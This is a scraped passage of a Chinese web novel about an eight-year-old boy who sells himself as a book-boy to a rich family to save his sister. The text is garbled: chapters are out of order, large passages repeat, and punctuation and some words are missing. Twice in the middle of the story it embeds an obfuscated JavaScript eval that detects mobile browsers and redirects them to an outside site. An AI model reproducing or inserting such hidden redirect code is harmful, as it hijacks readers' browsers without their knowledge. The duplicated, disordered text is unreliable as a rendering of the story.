“往后在人家府里,当牛做马,你就不怕?” 陈平川猛地抬起头,目光清亮,声音带着一丝不属于他这个年纪的铿锵。 “不怕!” “只要我能卖上二十两银子,我妹妹就不用被卖掉了!” 二十两银子?救妹妹? 张盛财闻言,心中微微一动。 这孩子看着不大,倒还是个有担当的。 他没有细问陈平川家里为何要卖女儿。 这年头,活不下去卖儿卖女的人家多了去了,他没什么兴趣去探究别人家的苦楚。 但是,陈平川这个人,却引起了他浓厚的兴趣。 自家那个混世魔王的儿子,平日里挑三拣四,难得看上一个人,倒也不容易。 看着儿子期盼的目光,张盛财略微沉思了片刻,随即拍板。 “好!” “就冲你这份孝心和担当,你这个书童,我们张家要了!” “不过……” 他话锋陡然一转,声音也冷了下来,带着几分警告的意味。 “我这二十两银子,也不是白给的!” “若是你往后不能陪我儿子好好读书,三天打鱼两天晒网的,我就把你小子卖到黑煤窑去,让你知道知道厉害,也好补上我这银子的损失!” 陈平川并未被张盛财这番话吓倒,面色依旧从容镇定。 他朗声道:“老爷尽管放心!” “我一定会想办法,让小少爷用心读书,将来金榜题名,考上状元,给张家光耀门楣!” 张盛财听了这话,先是讶异地挑了挑眉,随即忍不住哈哈大笑起来。 他指着陈平川道:“好小子,口气倒是不小啊!” “你自个儿都尚未开蒙,就敢夸下海口,说要让我儿子考状元?” 陈平川面不改色,沉稳应答:“回老爷,小子虽然愚钝,尚未开蒙。” “但我观小少爷天资聪颖,仪表不凡,远胜常人。” “将来即便不是状元之才,也定能成为张家的栋梁之材,光宗耀祖!” 这番话,可是实实在在地拍在了张盛财的心坎上,让他听得极为舒坦。 其实,张盛财知道自己儿子是什么料,他不求儿子能考上状元,只要能做个秀才公,他就心满意足了。 他呵呵一笑,心情大好,当即对一旁的任管家吩咐道:“老任,去账房取二十两银子来!” “不!取二十三两!” 张盛财大手一挥,指着陈平川,豪气地说道:“多出来的那三两,是老爷我赏你的!” “赏你小子这份机灵劲儿!更赏你敢为我那不成器的儿子夸下这等海口!” “你小子好好干!若真能让我儿子有所长进,日后还有重赏!” 陈平川心中悬着的大石终于彻底落了地。 他深深一揖,真心实意地说道:“多谢老爷厚爱!小子日后定当尽心尽力伺候小少爷,不敢有负老爷重托!” 任管家办事效率极高,很快便取来了银子,用一个小小的布袋装着。 等陈平川在卖身契上按下鲜红的手印,那沉甸甸的钱袋才交到了他的手上。 捧着这袋银子,在陈平川眼里,这是妹妹未来的希望! 其余几个落选的孩子,已经被任管家遣散了。 陈平川目送他们失落离开的背影,然后转向任管家,请求道:“任管家,可否让小子先回家一趟?” “将这银钱交给父母,也将此事告知他们,好让他们安心。” 他必须尽快把钱送回去,免得夜长梦多。 家里那群极品亲戚,可不是省油的灯,别再生出什么变故来。 任管家看向张盛财,见自家老爷微微颔首,这才对陈平川应允道:“既然老爷已经同意了,那你就先回家去吧。” “把家里的事情料理妥当,今晚在家中再住上一夜,明日一早,务必准时回到府里来。” 陈平川已经报上自家位置,桃花村就这么几十户人家,任管家心里有数,不怕他跑了。 “多谢老爷!多谢任管家!” 陈平川再次恭敬行礼,紧紧攥着手中的钱袋,转身便快步离去。 屏风后面,一个穿着粉色绫罗袄裙的小小身影,正悄悄地探出半个脑袋。 张静姝一双乌溜溜的大眼睛,好奇地注视着陈平川匆匆离去的背影,小巧的嘴角微微向上翘起一个狡黠的弧度。 那个教会笨哥哥玩井字棋的家伙,竟然把自己给卖到张家来了? 呵,真有意思。 她那双古灵精怪的小狐狸眼睛里,闪过一丝浓浓的期待。 或许,往后在张府的日子,会比以前有趣得多呢。 第4章 熊孩子气炸财主爹! 张府书房。 午后的光线透过雕花窗棂,斜斜洒进来,恰好落在乌木书案的一角。 张财主特意为宝贝儿子请来的方先生,此刻正指着书案上那摊宣纸,气得白胡子一颤一颤。 “张金宝!” 他声音尖锐,满是压抑不住的失望与愤怒。 “老夫让你临帖!你瞧瞧你,都写了些什么鬼东西?!” “井字棋啊!” 小胖墩张金宝脖子一梗,非但不怵,反而振振有词地顶嘴。 “先生,您瞧,这名字嘛,我觉得不用练。” 他抬起肉乎乎的小手,比划着,“往后,自然有下人帮我写。我用不着自己动笔。” 方先生闻言,险些一口气没喘上来背过气去。 “但是!这下棋可就不同了!” 张金宝声音陡然拔高,显得理直气壮,“下棋必须我自己来!等我练好了,就能赢了那个大哥!让他反过来认我做大哥!” 自打上午在井字棋上输给了陈平川,他心里就憋着一股不服输的劲儿,满脑子都想着明天怎么找回场子。 “荒唐!荒唐至极!这简直是对斯文的莫大侮辱!” 方先生忍无可忍,猛地将书案上的纸揉成一团,狠狠摔在地上。 “朽木!简直是朽木不可雕也!” 他一甩袖子,再也待不住了,转身便朝外走,临出门前,愤愤扔下一句:“老夫这就去禀告老爷!” 书房的门被他摔得“砰”一声巨响。 张金宝这才耷拉下脑袋。 嘴上虽然硬气,但他心里还是有点发怵。 倒不是怕挨板子,那玩意儿他皮厚,不怕。 主要是怕他爹失望。 可要他日日对着那些鬼画符似的字帖,实在是太折磨人了,哪有研究这井字棋有意思? 方先生前脚刚走,书房门就被人“吱呀”一声推开了。 一个身穿粉色绫罗袄裙,梳着可爱双环髻的小萝莉,蹦蹦跳跳地闪了进来。 她明眸皓齿,眉眼弯弯,粉雕玉琢,像个会走路的精致瓷娃娃。 正是张财主的心尖尖,小女儿张静姝。 她一眼就看见了滚落在地上的纸团,又瞥见自家哥哥那副耷拉着脑袋的熊样,乌溜溜的眼珠里瞬间闪过一丝幸灾乐祸。 “笨哥哥。” 她奶声奶气地开口,声音里却藏着掩不住的笑意,“又惹先生生气啦?” 她几步走到书案边,好奇地探过小脑袋,看了看上面还没来得及收起的井字格。 “你完蛋啦。” 她语气笃定,带着几分看好戏的神情,“爹爹待会儿肯定要打你屁股!” 往日里,张金宝一听到这话,早就央求妹妹给自己求情。 可今天,他满脑子都是怎么才能赢下那盘棋。 他闷闷地嘟囔了一句:“打就打吧,反正我得想办法赢了那个大哥。” 说着,他弯腰捡起地上的纸团,重新展开,眼神直勾勾地盯着上面的井字格,陷入了沉思。 张静姝见哥哥这般如痴如醉的魔怔模样,好奇心一下子就被勾了起来。 究竟是什么东西,让笨哥哥连挨打都不怕了? 她凑近了些,伸出白嫩的小手指,好奇地戳了戳纸上的格子。 “这是什么呀?圈圈叉叉的。” 她撇了撇小嘴,“比你写的字还要难看一百倍。” 张金宝把陈平川教他的规则,随口说了一遍。 说完,他苦恼地皱起了胖脸:“好难啊,我跟他下了好多盘,一盘都没赢过!” 他心里憋屈得慌,像塞了一团棉花。 张静姝眨巴着水灵灵的大眼睛,只听了一遍规则,她那颗小脑袋瓜便飞快地转动起来,很快就理解了其中的玄妙。 她拍了拍小手,眼睛晶亮晶亮的:“嗨,这有什么难的?我明白啦!” 她一把拉过张金宝的手,指了指旁边堆着的一摞雪白宣纸,“走!哥哥,咱们也来玩这个!” 张金宝还有些傻愣愣的,就被妹妹拉着铺纸研墨。 他们在纸上画了一个又一个井字格,开始对弈。 张静姝年纪虽小,却着实聪慧过人。 不过三五局的光景,张金宝就被她杀得片甲不留。 横的、竖的、斜的,那些圈圈叉叉在他眼前乱晃,他完全招架不住,只有输的份。 “我输了……我又输了!”张金宝看着满纸的败局,目瞪口呆,深受打击。 “我就说你笨,不动脑子。” 张静姝连赢三局,得意地扬起了尖尖的小下巴,“这棋呀,可不是随随便便乱下的。” 张金宝这下是彻底服气了。 他赶忙凑到妹妹身边,声音里满是讨好:“好妹妹,我的亲妹妹!你快教教我,到底要怎么样才能赢?” 张静姝乌溜溜的眼珠狡黠地一转,一个小算盘已在心中打得噼啪响。 她早就馋那桂花坊新出的芙蓉糕了,偏偏娘亲管得严,不许多吃甜食。 如今这笨哥哥有求于己,正是个千载难逢的好机会! 她清了清嗓子,学着平日里娘亲训话的模样,故作矜持地挺直了小腰板,慢悠悠地说道:“嗯……教你嘛,倒也不是不可以。” “不过呢,你得先答应我一个小小的条件才行。” 张金宝一听有戏,眼睛顿时亮了起来:“什么条件?快说,我都答应你!” “过几天就是庙会了。” 张静姝露出一对可爱的小虎牙,压低了声音,“你得偷偷给我买一块桂花坊的芙蓉糕!而且,不许告诉爹爹和娘亲!” 张金宝为了一雪前耻,立刻满口答应:“没问题!只要能赢,别说一块芙蓉糕,十块都给你买!” 张静姝得了哥哥的许诺,脸上的笑意更浓了,像偷吃了蜜糖的小狐狸。 她煞有介事地坐在哥哥旁边,小大人似的指着纸上的格子,开始传授张金宝几招井字棋的所谓“秘诀”。 “你看啊,这第一步,非常重要,一定要抢占中间这个位置……” 她用细嫩的小手指,在格子上指指点点,张金宝听得连连点头,觉得妹妹说得句句在理,简直是金玉良言。 他兴奋地搓着胖手,摩拳擦掌,只等着陈平川明天上门,好好大战一番! 就在这时,书房的门又一次被人猛地推开了。 这次进来的是大腹便便的张大财主——张盛财。 他满脸怒容,身后还跟着刚才气冲冲离去的方先生。 张盛财一眼便看到了书案上,以及散落在地上的废纸上,画满了的那些乱七八糟的井字棋格。 他本就因方先生告状而起的火气,“腾”地一下就窜到了脑门顶。 “张金宝!” 他怒吼一声,声音响亮得如同旱地里打了个焦雷。 “你个不成器的东西!叫你读书识字,你倒好,就知道画这些乌龟王八的玩意儿!” 他怒不可遏,顺手就抄起了桌上用来惩戒学生的戒尺,想也不想就朝张金宝的屁股挥去。 “爹爹饶命啊!” 张金宝吓得魂飞魄散,尖叫一声,拔腿就往外跑。 张盛财举着戒尺,在后面气喘吁吁地追着儿子,在院子里满世界跑。 “小兔崽子!你给我站住!看我不打折你的腿!” 张金宝一边亡命飞奔,一边还梗着脖子嚷嚷:“爹!我不读书!我就要下棋!” “反了你了!下棋能当饭吃吗?老子花大价钱请先生,是让你来胡写乱画的?看我不打死你这个孽子!” 张静姝则好整以暇地站在书房门口,看着自家爹爹追打哥哥的热闹场面。 她非但不害怕,反而还拍着小手,咯咯娇笑。 “爹爹快点跑呀!” 她还嫌不够热闹似的喊着,“哥哥跑慢点,不然爹爹追不上啦!” …… 天色才蒙蒙亮。 整个桃花村还笼罩在一片清晨的薄雾之中,朦朦胧胧,宛如仙境。 陈平川小小的身影,牵着那头瘦骨嶙峋的老黄牛,并没有去往日熟悉的山坡方向。 二十两银子。 三天时间。 这就像一道冰冷的催命符,沉甸甸地压在他的心头,也压在这个风雨飘摇的家上。 卖身当书童。 这是他经过一夜辗转反侧,能想到的,唯一能快速拿到钱,拯救这个家,拯救妹妹平玉的法子。 老黄牛被他随意地拴在了村口的一棵老槐树下。 他拍了拍牛背,找到二蛋,叮嘱他帮忙照看一下。 陈平川拢了拢身上那件洗得发白,打了好几个补丁的旧衣,深吸一口清晨微凉的空气,然后便朝着张财主家高墙大院的方向,快步走去。 张家的高墙大院,在晨曦微光中,显得格外森严,透着一股生人勿近的气派。 陈平川走到侧门,伸手叩响了门上那冰凉的铜环。 “叩叩叩。” 过了一会儿,门内传来脚步声,接着“吱呀”一声,门被拉开了一条缝。 露出任管家那张熟悉的,留着一撮山羊胡的脸。 当他看清门外站着的是陈平川时,略微有些意外。 “哦,是你啊,小子。” 他问道:“这么大清早的,又是来送石头的?” 陈平川摇了摇头。 他稚嫩的脸上,带着一种与年龄极不相符的平静与沉稳。 “任管家,早。” 他声音清晰地说道,“小子今天不是来卖石头的。” 他微微顿了顿,然后抬起头,目光清澈而坚定地直视着任管家。 “我来,是想把自己卖给张家。” “给府上的小少爷,当个书童。” 任管家听到这话的瞬间,表情顿时凝固了。 他微微张大了嘴,目光里充满了惊讶。 “你说什么?卖……卖身?” 他上上下下地重新打量着陈平川,眼神里带着疑惑。 这孩子昨天还那么机灵乖巧地来卖石头,今天怎么就要卖自己了? 这前后的反差也太大了。 任管家眉头不自觉地蹙了起来,他沉声说道:“胡闹!” “你才多大年纪?知道卖身是什么意思吗?” 他刻意压低了声音,语气里透着严肃。 “这可不是闹着玩的!一旦签了卖身契,那你这一辈子,可就是人家的奴才了!到时候想反悔,可没有后悔药!” 陈平川心里明白,任管家这是在提点他,也是一片好心。 他微微躬了躬身,姿态谦恭:“任管家,小子知道。” “小子不是三岁孩童,也不是一时头脑发热,才做的这个决定。” “你知道?我看你什么都不知道!” 任管家捋了捋颔下那撮山羊胡,继续劝道:“你一个农家娃,平日里放牛砍柴,粗手笨脚的,懂得怎么伺候人吗?” “张家可不是普通的小门小户,规矩不少!万一你做得不好,一顿板子打下来,有你哭的时候!” “再说了,这事儿,你爹娘知道吗?他们舍得把你卖了?” 陈平川垂下眼帘,掩去了眸中一闪而过的一抹苦涩与无奈。 爹娘自然是舍不得的。 若是让他们知道了,以母亲那刚烈的性子,怕是又要寻死觅活,闹得天翻地覆。 所以,他不能说实话。 “家中有急事,等不得。” 他抬起头,脸上恢复了先前的平静,“吃苦,小子不怕!规矩,小子也愿意从头学起!只要能给钱,小子什么都愿意做!” 任管家定定地看着他。 这孩子说话条理清晰,神态坚决,倒真不像是一时冲动说出的胡话。 只是,这么丁点大的年纪,就要走上这条路,未免也太过可惜了。 他心里不禁生出几分怜悯。 这世道啊,真是能把人逼到绝路上去,连个八岁的孩子都要卖身求活了。 “你……” 任管家张了张嘴,还想再劝说几句。 陈平川却不卑不亢地截住了他的话头:“任管家,求您给小子一个机会。” “若是一会儿老爷和小少爷看不上小子,小子绝无二话,自行离去,绝不纠缠。” 任管家沉默了片刻,最终轻轻叹了口气。 “罢了,罢了。” 他说道:“既然你铁了心要如此,我也不好再强拦着你。” 他侧过身子,让出了一条通往院内的路。 “正好,今日还有几家也送了孩子过来,都是想给小少爷当书童的。” “你便跟他们一起,去偏厅候着,等会儿一同去见见老爷和少爷吧。” 陈平川心中一定,连忙躬身道谢:“多谢任管家成全!” 他跟着任管家,穿过几道雕梁画栋的回廊,来到了一处布置雅洁的偏厅。 厅内已经站了四五个和他年岁相仿的男孩。 陈平川默不作声地走到了队伍的末尾,目光看似随意地扫过厅中那几个男孩。 他们的衣着倒是比自己身上的这件打了补丁的旧衣要体面些。 可惜,一个个都垂头耷脑的,像是霜打了的茄子,蔫了吧唧,看着就不像是有什么大出息的模样。 他暗自撇了撇嘴。 看来,自己这次的机会不小。 他深吸一口气,压下心头那份初次“卖”自己的古怪感觉。 这二十两银子,他陈平川,势在必得! 任管家对厅内的孩子们简单交代了几句注意事项,便转身去向张老爷通报了。 第3章 为救妹妹,我卖身了! 不多时,一阵脚步声由远及近。 任管家在前引路,身后跟着一个身形富态的中年男人,还有一个小胖墩。 那中年男人自然是张家家主,张盛财。 他挺着颇具规模的肚子,脸上带着商人特有的精明。 跟在他身后的张金宝,则明显有些心不在焉。 小胖手偷偷捏着两颗石子,时不时就在掌心比划,嘴里还念念有词。 显然,他的心思还在那井字棋的玄奥变化之中,无法自拔。 “老爷,少爷。 任管家躬着身子,声音恭敬。 “这几个,便是今日送来,想要给少爷当书童的孩子。 他将这些孩子的情况,逐一简单介绍了一番。 这个据说是某位秀才家的远房亲戚。 那个则是县城里家道中落人家的子弟。 个个都声称是识文断字的。 张盛财听着,不置可否地微微点了点头。 他目光扫过面前垂手站立的几个孩子,然后转向自家儿子,语气随意地说道:“金宝啊。 “这些人,都是给你寻摸来的书童。 “你自个儿瞅瞅,有没有哪个瞧着顺眼的,挑一个吧。 张金宝的魂儿还在那九个格子里打转,压根就没抬头看那些候选人。 他随口就应了一句:“哪个都不顺眼,我不要! 这话一出,那几个原本还抱有几分期盼的孩子,脸上的神色顿时黯淡下去,写满了失望。 陈平川站在队伍的最末尾,心里咯噔一下。 这小胖子,不按常理出牌啊! 可不能就这么被他一句话给“一锅端了! 妹妹还在家里等着他拿钱救命呢! 想到这里,陈平川不再犹豫,从队伍末尾往前踏出一步。 他清亮的声音,在略显安静的偏厅中格外清晰:“小少爷,可是还在为昨日那井字棋的胜负而苦恼? 张金宝正低头冥思苦想,怎么才能赢了那个可恶的“大哥。 冷不丁听到这熟悉的声音,他猛地抬起了头。 待看清说话之人正是陈平川时,他那双原本还有些迷糊的眼睛倏地瞪得溜圆,随即脸上便绽放出大大的惊喜。 “大哥! 他惊喜地叫了一声,丢开手里把玩的石子,一阵风似的冲了过去,一把拉住陈平川的胳膊,笑哈哈地问道:“你怎么会在这里? 陈平川唇角噙着一抹浅淡的微笑, 从容应道:“我来给你当书童啊。” “书童?” 张金宝闻言一愣,随即反应过来。 他紧紧拉着陈平川的袖子,转身就往张盛财那边跑。 “爹!爹!” 他指着陈平川,语气急促。 “我就要他!我就要他当我的书童!” 张盛财的眉头,几不可察地皱了一下。 他上上下下打量着陈平川。 这孩子面黄肌瘦,脏兮兮的旧衣裳上打满了补丁,一看就是穷苦人家的娃。 “农家娃?” 他语气中不自觉地带上了几分嫌弃。 “他能伺候好我儿子吗?” 在张盛财看来,书童就算不是知书达理,起码也得是个伶俐乖巧、身体健壮的。 眼前这个小子,瘦不拉几的,能顶什么用? 张金宝却不依不饶,拽着张盛财的胳膊使劲摇晃起来,央求道:“我不管!我不管!他可厉害了!我就要他嘛,爹!” 张盛财脸上露出一丝犹豫。 正在这时,任管家适时地上前一步,压低了声音对张盛财说道:“老爷。” “这孩子昨日曾来府上卖过鹅卵石。” “他虽然是农家出身,却胆大心细,说话条理清晰。” “尤其是在与小的谈价钱的时候,能言善辩,不卑不亢。” “小小年纪就懂得如何应对周旋,这份机灵劲儿和眼力价,可是难得得很呐。” “兴许……他真能镇住少爷,引着少爷在学问上用点心。” 张金宝在一旁听了,立刻小鸡啄米似的连连点头,急忙补充道:“对对对!他能镇住我!我跟他下棋,一次都没赢过!” 听自家儿子这么说,又见管家也替这小子说话,张盛财不由得多看了陈平川两眼。 他清了清嗓子,语气依旧有些硬邦邦地问道:“你叫什么名字?今年几岁了?” 陈平川身形站得笔直,不卑不亢,朗声回答:“回老爷话,小子陈平川,今年八岁。” 嗯,谈吐倒还算清晰。 张盛财微微点了点头,又问:“既然是农家子弟,为何要想到来张府当书童?” 他心里暗自寻思,这孩子看着确实比旁边那几个呆头呆脑的要机灵些。 但一个农家娃,大字不识一个,又能懂得什么道理? 陈平川微微垂下眼帘,声音平静:“家中贫困,小子想出来为家里分担些辛劳。” 张盛财见他说话确实有条 有理这份镇定自若可不像寻常农家孩子能有的。 “你这孩子看着不像一般的庄稼娃儿。”他语气中带上了一丝探究的意味“可是读过书?” “不曾。” 陈平川如实回答。 “只是平日里喜欢听村里的老人们讲些古今故事自己瞎琢磨些浅显的道理罢了。” 一番对话下来让张盛财心里的天平又朝着陈平川这边微微倾斜了几分。 看看其他那几个孩子在他面前大气都不敢喘连头都不敢抬。 这个陈平川却能与他对答如流。 单这份胆识就胜过旁人不少了。 又想起管家之前提到这小子还来府上卖过鹅卵石。 张盛财越发觉得这小子脑子确实活络。 他沉吟片刻继续询问:“你可知道一旦**便从此失去了自由之身。” “往后在人家府里当牛做马你就不怕?” 陈平川猛地抬起头目光清亮声音带着一丝不属于他这个年纪的铿锵。 “不怕!” “只要我能卖上二十两银子我妹妹就不用被卖掉了!” 二十两银子?救妹妹? 张盛财闻言心中微微一动。 这孩子看着不大倒还是个有担当的。 他没有细问陈平川家里为何要卖女儿。 这年头活不下去卖儿卖女的人家多了去了 但是陈平川这个人却引起了他浓厚的兴趣。 自家那个混世魔王的儿子平日里挑三拣四难得看上一个人倒也不容易。 看着儿子期盼的目光张盛财略微沉思了片刻随即拍板。 “好!” “就冲你这份孝心和担当你这个书童我们张家要了!” “不过……” 他话锋陡然一转声音也冷了下来带着几分警告的意味。 “我这二十两银子也不是白给的!” “若是你往后不能陪我儿子好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986997|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读书三天打鱼两天晒网的我就把你小子卖到黑煤窑去让你知道知道厉害也好补上我这银子的损失!” 陈平川并未被张盛财这番话吓倒面色依旧从容镇定。 他朗声道:“老爷尽管放心!” “我一定会想办法让小少爷用心读书将来金榜题名考上状元给张家光耀门楣!” 张盛财听了这话先是讶异地挑了 挑眉,随即忍不住哈哈大笑起来。 他指着陈平川道:“好小子,口气倒是不小啊!” “你自个儿都尚未开蒙,就敢夸下海口,说要让我儿子考状元?” 陈平川面不改色,沉稳应答:“回老爷,小子虽然愚钝,尚未开蒙。” “但我观小少爷天资聪颖,仪表不凡,远胜常人。” “将来即便不是状元之才,也定能成为张家的栋梁之材,光宗耀祖!” 这番话,可是实实在在地拍在了张盛财的心坎上,让他听得极为舒坦。 其实,张盛财知道自己儿子是什么料,他不求儿子能考上状元,只要能做个秀才公,他就心满意足了。 他呵呵一笑,心情大好,当即对一旁的任管家吩咐道:“老任,去账房取二十两银子来!” “不!取二十三两!” 张盛财大手一挥,指着陈平川,豪气地说道:“多出来的那三两,是老爷我赏你的!” “赏你小子这份机灵劲儿!更赏你敢为我那不成器的儿子夸下这等海口!” “你小子好好干!若真能让我儿子有所长进,日后还有重赏!” 陈平川心中悬着的大石终于彻底落了地。 他深深一揖,真心实意地说道:“多谢老爷厚爱!小子日后定当尽心尽力伺候小少爷,不敢有负老爷重托!” 任管家办事效率极高,很快便取来了银子,用一个小小的布袋装着。 等陈平川在**契上按下鲜红的手印,那沉甸甸的钱袋才交到了他的手上。 捧着这袋银子,在陈平川眼里,这是妹妹未来的希望! 其余几个落选的孩子,已经被任管家遣散了。 陈平川目送他们失落离开的背影,然后转向任管家,请求道:“任管家,可否让小子先回家一趟?” “将这银钱交给父母,也将此事告知他们,好让他们安心。” 他必须尽快把钱送回去,免得夜长梦多。 家里那群极品亲戚,可不是省油的灯,别再生出什么变故来。 任管家看向张盛财,见自家老爷微微颔首,这才对陈平川应允道:“既然老爷已经同意了,那你就先回家去吧。” “把家里的事情料理妥当,今晚在家中再住上一夜,明日一早,务必准时回到府里来。” 陈平川已经报上自家位置,桃花村就这么几十户人家,任管家心里有数,不怕他跑了。 “多谢老爷!多谢任管家!” 陈平川再次恭敬行礼,紧紧攥着手中的钱袋,转身便快步离去。 屏风后面,一个穿着粉色绫罗袄裙的小小身影,正悄悄地探出半个脑袋。 张静姝一双乌溜溜的大眼睛,好奇地注视着陈平川匆匆离去的背影,小巧的嘴角微微向上翘起一个狡黠的弧度。 那个教会笨哥哥玩井字棋的家伙,竟然把自己给卖到张家来了? 呵,真有意思。 她那双古灵精怪的小狐狸眼睛里,闪过一丝浓浓的期待。 或许,往后在张府的日子,会比以前有趣得多呢。 第2章 抓阄定生死,八岁的我献计救妹! 陈平川牵着那头瘦骨嶙峋的老黄牛,比往日早了许多回到了家门口。 院门虚掩着,他推开门,将牛拴在院角的歪脖子树下。 陈仲和正蹲在屋檐下,低头修理着一把豁了口的锄头,额上渗着细密的汗珠。 “爹。 听到儿子唤自己,陈仲和抬起头,有些意外,“平川?今儿怎么回这么早? 陈平川没有立刻回答,他几步走到父亲跟前,拉起陈仲和的胳膊,面色是少有的凝重。 “爹,进屋说。 陈仲和见儿子神色不对,心头一跳,连忙放下手中的锄头,跟着进了屋。 陈平川反手将有些晃动的木门掩上,利落地插上了门栓。 灶房里,罗氏听见动静,也撩开帘子走了出来,见父子俩神色不对,她心里咯噔一下,隐隐觉得有事发生。 “当家的,平川,这是咋了? 陈平川没有说话,走到那张破旧的方桌旁,从怀里掏出那个鼓鼓囊囊的布袋,然后猛地将袋口朝下。 “哗啦—— 一堆银锭子混着铜钱,散落在桌面,在昏暗的屋里闪着晃眼的光。 罗氏和陈仲和双双呆立当场,眼睛瞪得溜圆,几乎不敢相信自己看到的。 “平川……儿啊,这……这钱是哪儿来的?罗氏的声音带着颤抖,她一步步挪到桌边,手指着那些银子,不敢去碰。 她怕,怕这是儿子走了歪路得来的不义之财。 陈仲和也是一脸惊骇,张着嘴,半天说不出话来。 陈平川抬起头,目光平静地看着自己的父母。 “孩儿把自己卖给了张财主家,给他们的小少爷当书童。 这句话像一道晴天霹雳,炸得罗氏眼前发黑。 她脸上血色褪尽,嘴唇哆嗦着,下一瞬,抄起墙角立着的扫帚疙瘩,就朝陈平川劈头盖脸打来。 “你个小畜生!哪个让你去卖自己的!老娘打死你! 然而,那高高扬起的扫帚,却在距离陈平川头顶寸许的地方,骤然停住了。 罗氏的手臂剧烈地颤抖着,扫帚“哐当 她再也支撑不住,双腿一软,瘫坐在地,积攒了许久的泪水如同决堤的洪水,汹涌而出。 “我的儿啊……我的平川啊……她一把将陈平川紧紧搂进怀里,瘦弱的肩膀剧烈地耸动着,哭得撕心裂肺。 “你这个傻孩子!你为什么要这么做啊!你这是要剜娘的心啊!! “都怪娘没用!是娘没本事!护不住你们兄妹俩!呜呜呜……”她捶打着自己的胸口,哭声凄厉而绝望,“老天爷啊!你睁开眼看看!为何要如此逼我们一家老小!我们到底做错了什么啊!” 一旁的陈仲和,早已是面无人色,浑身都在发抖。 他一把抓起桌上的钱袋,手忙脚乱地把钱往里塞,眼眶通红,拉着陈平川的手腕就往门外拖,“平川,跟爹走!这钱咱们不要了!爹这就去张家,就是给他们磕头,也要把你赎回来!” 陈平川任由父亲拉着,小小的身子却像在地上生了根,纹丝不动。 “爹,没用的。”他稚嫩的声音里,带着一种不属于他这个年纪的冷静。 “**契已经画了押,按了手印。张家不会退钱的。” 陈仲和回头,盯着儿子那双清澈见底,却又平静得可怕的眼睛。 那眼神,不像一个八岁的孩子,倒像一个……历经沧桑的成年人。 “再说,”陈平川继续开口,“就算他们肯退钱,妹妹怎么办?” “三天之内,咱们家,还能从哪里再凑出二十两银子来?” 这一连串的问话,像一把把锤子,狠狠砸在陈仲和心上。 他张了张嘴,想说什么,却一个字也吐不出来。 手里的钱袋掉落下来,银子铜板哗啦散落一地。 屋里的哭声惊醒了在里屋睡觉的陈平玉。 小丫头揉着惺忪的睡眼,赤着脚跑了出来,一眼就看见母亲坐在地上痛哭,父亲则失魂落魄地站着。 她再看到哥哥被父亲拉扯,地还散着钱,顿时吓得小脸煞白。 “哇——爹!娘!你们不要卖哥哥!我不要哥哥走!” 陈平玉像只受惊的小兽,猛地扑了过去,用尽全身力气,死死抱住陈平川的腿,哭得撕心裂肺,上气不接下气。 “你们卖我吧!呜呜呜……不要卖哥哥……” 陈平川蹲下身子。 他伸出手,轻轻擦去妹妹脸颊上的泪珠。 “傻妹妹,不哭了。” “哥哥不是被卖掉。” “哥哥是自己找了个好去处,那里有吃有穿,还能学本事。” 他努力让自己的声音听起来轻松些。 “等哥哥学成了,就能赚好多好多的钱,让你跟爹娘都过上好日子。” 陈平玉抽噎着,小手紧紧攥着哥哥的衣角,泪珠还挂在长长的睫毛上,暂时止住了哭泣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986998|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “真……真的吗?” “ 哥哥什么时候骗过你?”陈平川刮了刮她的小鼻子。 小丫头终于破涕为笑,却还是舍不得地抱着哥哥的胳膊,小脑袋在他身上蹭来蹭去。 陈平川这才站起身,看向面色惨白的父母。 他将那三两额外的碎银子单独拿了出来,放在桌上。 “爹,娘,张财主人还不坏。他觉得孩儿聪明懂事,额外赏了这三两银子。” 这话半真半假,点明张盛财对他带着几分赏识,自己的日子能好过点。 这无疑给绝望中的陈仲和与罗氏,带来了一丝些许的安慰。 “张家虽然是大户人家,规矩多,但那位小少爷,看起来并不难相处。” “孩儿会好好做事,争取早一天回来,让咱们家过上好日子。” 罗氏的心,像是被一只无形的手紧紧揪着,疼得她几乎喘不过气。 她明白儿子是在安慰他们,可一想到儿子这么小的年纪就要去人家府里做下人,看人脸色,她的心就痛得无法呼吸。 然而,事已至此,再多的眼泪和不舍,也改变不了冰冷的现实。 罗氏的眼睛红肿得像两个熟透的桃子。 她伸出手,指尖颤抖着,将地上那些散落的银子,一点点拢到一处。 这里面,二十两,是女儿活下去的指望。 另外三两,则是儿子用自由换来的微光。 她将那三两碎银子小心翼翼地拿起。 然后寻来一块洗得发白、却依旧干净的布条。 一层,又一层,紧紧地包裹起来。 她走到墙角那个破旧不堪的木箱子旁,打开箱盖。 将那个小小的布包,塞进了箱子最底层。 压在几件打满补丁、散发着皂角味的旧衣裳下面。 那里,是这个家最隐秘的角落。 做完这一切,她才缓缓转过身。 声音嘶哑,却每一个字都透着作为母亲的坚定。 “儿啊,这三两银子,娘给你好好攒着。” “从今往后,娘和你爹,就是每日勒紧裤腰带,少吃一口,也要把这赎身的钱,一文一文地给你攒出来!” 陈仲和蹲在一旁,宽厚的脊背微微佝偻。 他双手死死抱着头,一言不发,肩膀却控制不住地轻轻颤抖。 这个一向沉默寡言的男人,此刻心中的痛楚,不比任何人少。 第7章 **钱也抢,全家都是狼心狗肺! 天刚蒙蒙亮,东边的天空才泛起一丝鱼肚白。 陈平川一家就都起来了。 罗氏不知从哪里翻出了一件衣裳。 